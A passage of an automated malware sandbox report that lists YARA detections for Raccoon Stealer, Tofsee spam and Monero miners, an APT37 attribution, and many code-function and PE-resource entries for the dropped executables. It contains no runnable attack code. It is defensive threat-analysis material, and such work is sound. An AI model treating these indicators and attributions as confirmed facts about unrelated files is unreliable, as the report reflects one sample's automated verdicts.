Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 21_2_0120D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		21_2_0120D164
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 27_2_0120D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		27_2_0120D164

E-Banking Fraud:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 33.2.829C.exe.47d0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.21a0e50.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.75AA.exe.21a0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.21a0e50.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.3.829C.exe.4880000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.21a0e50.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.829C.exe.47d0e50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.75AA.exe.2450000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.75AA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.75AA.exe.21a0e50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.75AA.exe.2450000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.829C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.3.829C.exe.4880000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.75AA.exe.21a0e50.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.983223765.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.794034044.00000000021A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.799468535.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.986163730.00000000021A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.800342730.00000000021A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.793177750.0000000004880000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.786552941.0000000002450000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.795259479.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.797166721.00000000047D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.793371221.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 75AA.exe PID: 5692, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 829C.exe PID: 4264, type: MEMORYSTR

Spam, unwanted Advertisements and Ransom Demands:

Yara detected Tofsee

Show sources

Source: Yara match	File source: 24.2.6965.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.6965.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.6965.exe.2d80e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.3.6965.exe.4780000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000032.00000002.981945926.0000000002820000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000003.816588448.0000000003460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.820521827.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.822818224.00000000034A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.821681408.0000000002C50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.801390436.0000000002D80000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.779981603.0000000004780000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6965.exe PID: 6428, type: MEMORYSTR

Send many emails (e-Mail Spam)

Show sources

Source: SMTP

Network traffic detected: Mail traffic on many different IPs 21

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000032.00000003.838326272.000000000AE00000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detects Monero mining software Author: Florian Roth
Source: 00000032.00000003.838326272.000000000AE00000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 00000032.00000003.838326272.000000000AE00000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Monero mining software Author: Christiaan Beek \| McAfee ATR Team
Source: 00000032.00000003.842812106.000000000A300000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detects Monero mining software Author: Florian Roth
Source: 00000032.00000003.842812106.000000000A300000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 00000032.00000003.842812106.000000000A300000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Monero mining software Author: Christiaan Beek \| McAfee ATR Team

Submitted sample is a known malware sample

Show sources

Source: C:\Windows\SysWOW64\cmd.exe

Dropped file: MD5: ac6ad5d9b99757c3a878f2d275ace198 Family: APT37 Alias: Reaper group, Geumseong121, Group 123, Scarcruft, APT-S-008, Red Eyes, TEMP.Reaper, Ricochet Chollima, sun team, APT37 Description: APT37 is a suspected North Korean cyber espionage group that has been in operation since at least 2012. Their targets are primarily located in South Korea, but also Japan, Vietnam, Russia, China, India, and some of the countries in the Middle East. A wider range of industries are affected, including chemicals, electronics, manufacturing, aerospace, automotive and healthcare entities References: https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf https://securelist.com/operation-daybreak/75100/https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/Data Source: https://github.com/RedDrip7/APT_Digital_Weapon

PE file contains section with special chars

Show sources

Source: 55AD.exe.5.dr	Static PE information: section name:
Source: 55AD.exe.5.dr	Static PE information: section name:
Source: 98D4.exe.5.dr	Static PE information: section name:
Source: 98D4.exe.5.dr	Static PE information: section name:

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5692 -ip 5692

Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 0_2_0040DE50	0_2_0040DE50
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Code function: 12_2_0040DE50	12_2_0040DE50
Source: C:\Users\user\AppData\Local\Temp\D322.exe	Code function: 14_2_011B3B8E	14_2_011B3B8E
Source: C:\Users\user\AppData\Local\Temp\D322.exe	Code function: 14_2_011B5C50	14_2_011B5C50
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Code function: 20_2_003D0040	20_2_003D0040
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 21_2_0118B020	21_2_0118B020
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 21_2_01189C80	21_2_01189C80
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 21_2_011894E0	21_2_011894E0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 21_2_011B6502	21_2_011B6502
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 21_2_0119DD28	21_2_0119DD28
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 21_2_01208400	21_2_01208400
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 21_2_0119D45D	21_2_0119D45D
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 21_2_011ADBA5	21_2_011ADBA5
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 21_2_011ABFD6	21_2_011ABFD6
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 21_2_011B6FE6	21_2_011B6FE6
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 21_2_0119F628	21_2_0119F628
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 21_2_01181663	21_2_01181663
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 21_2_011A16B4	21_2_011A16B4
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Code function: 24_2_0040C913	24_2_0040C913
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 27_2_011B6502	27_2_011B6502
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 27_2_0119DD28	27_2_0119DD28
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 27_2_01208400	27_2_01208400
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 27_2_0118B020	27_2_0118B020
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 27_2_0119D45D	27_2_0119D45D
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 27_2_01189C80	27_2_01189C80
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 27_2_011894E0	27_2_011894E0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 27_2_011ADBA5	27_2_011ADBA5
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 27_2_011ABFD6	27_2_011ABFD6
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 27_2_011B6FE6	27_2_011B6FE6
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 27_2_0119F628	27_2_0119F628
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 27_2_01181663	27_2_01181663
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 27_2_011A16B4	27_2_011A16B4
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0042B4DB	30_2_0042B4DB
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_00434042	30_2_00434042
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_00442030	30_2_00442030
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0045C0B6	30_2_0045C0B6
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_004201BE	30_2_004201BE
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0044C338	30_2_0044C338
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_00436478	30_2_00436478
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0044C56A	30_2_0044C56A
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0044C7CF	30_2_0044C7CF
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0043C7F6	30_2_0043C7F6
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0040C787	30_2_0040C787
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0041C80E	30_2_0041C80E
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_004368D6	30_2_004368D6
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_00416959	30_2_00416959
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0040E99E	30_2_0040E99E
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_00414B4A	30_2_00414B4A
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0041EE40	30_2_0041EE40
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_00460EE2	30_2_00460EE2
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0040CEA6	30_2_0040CEA6
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0045CFC9	30_2_0045CFC9
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0041D11E	30_2_0041D11E
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0042D1C3	30_2_0042D1C3
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_004352ED	30_2_004352ED
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0043D383	30_2_0043D383
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_00429430	30_2_00429430
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0045955F	30_2_0045955F
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0044755A	30_2_0044755A
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_00449520	30_2_00449520
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0045967F	30_2_0045967F
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0040F613	30_2_0040F613
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0041F7E7	30_2_0041F7E7
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_004637FB	30_2_004637FB
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_00417892	30_2_00417892
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0040D952	30_2_0040D952
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0041D961	30_2_0041D961
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0040FCEA	30_2_0040FCEA
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0041DCF3	30_2_0041DCF3
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0040BE02	30_2_0040BE02
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_00421E3F	30_2_00421E3F
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_00429FAC	30_2_00429FAC
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_00417FBD	30_2_00417FBD
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_021B820D	30_2_021B820D
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_021D4292	30_2_021D4292

Source: C:\Users\user\AppData\Local\Temp\6965.exe

Code function: 24_2_00401280 ShellExecuteExW,lstrlenW,GetStartupInfoW,CreateProcessWithLogonW,WaitForSingleObject,CloseHandle,CloseHandle,GetLastError,GetLastError,

24_2_00401280

Source: DWVByMCYL8.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DWVByMCYL8.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C612.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C612.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C612.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: C612.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: D322.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 55AD.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
